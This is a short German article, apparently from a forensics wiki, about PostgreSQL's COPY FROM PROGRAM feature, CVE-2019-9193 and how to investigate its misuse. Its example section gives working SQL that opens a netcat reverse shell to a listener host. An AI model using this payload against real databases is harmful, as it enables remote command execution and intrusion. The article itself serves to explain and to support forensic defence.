PostgreSQL Command Execution

PostgreSQL Command Execution

In PostgreSQL steht den Superusern sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funktion "COPY TO/FROM PROGRAM" zur Verfügung. Diese Funktion erlaubt es beliebigen Code im Kontext des Betriebssystembenutzers der Datenbank auszuführen. Die Funktion ist per default aktiviert und kann z.B. mit Hilfe von SQL Injection missbraucht werden um beliebige Befehle des Betriebssystems auszuführen (Postgres ist auf Windows, Linux sowie MacOS lauffähig). [1]

Im Jahr 2019 wurde die Funktion als Schwachstelle gemeldet und bekam eine CVE Nummer (CVE-2019-9193). [2]

Die Entwickler Postgres argumentieren hierzu, dass es sich dabei nicht um eine Schwachstelle handelt, da die Datenbank nie im Kontext eines Superuser läuft und es um nur um einen zusätzlichen Befehle innerhalb der bereits bestehenden Sicherheitsgrenzen des Betriebssystems handelt. [3]

Beispiel

Ein Beispiel zum Ausnutzen dieser Funktion ist Folgendes. Hier wird eine Reverseshell mittels nc auf den Host 192.168.178.21 geöffnet.

CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'nc 192.168.178.21 4242 -e /bin/bash';
SELECT * FROM cmd_exec;

Unter der CVE ist ebenfalls ein Metasploit Modul zu finden, welche in der Lage ist die Funktion auszunutzen. [4]

Forensische Maßnahmen

Sollte bei der Datenbank Forensik eine Hinweis auf das Nutzen der Copy Funktion gefunden werden, ist die Forensik auf Logfiles des Betriebssystems zu erweitern. Idealerweise wird auf Logfiles außerhalb des Betriebssystems zurückgegriffen, da die Manipulation von Logfiles ein potenzielles Risiko darstellt.

Quellen

  1. Postgres SQL COPY Funktion Website des Postgres Projektes. Abgerufen am 21. Februar 2022.
  2. CVE Eintrag 2019-9193 CVE Datenbank. Abgerufen am 21. Februar 2022.
  3. Entwicklerantwort zu CVE-2019-9193 Website des Postgres Projektes. Abgerufen am 21. Februar 2022.
  4. PostgreSQL Arbitrary Code Execution Vulnerability Alert Nachricht zum Metasploit Modul. Abgerufen am 21. Februar 2022.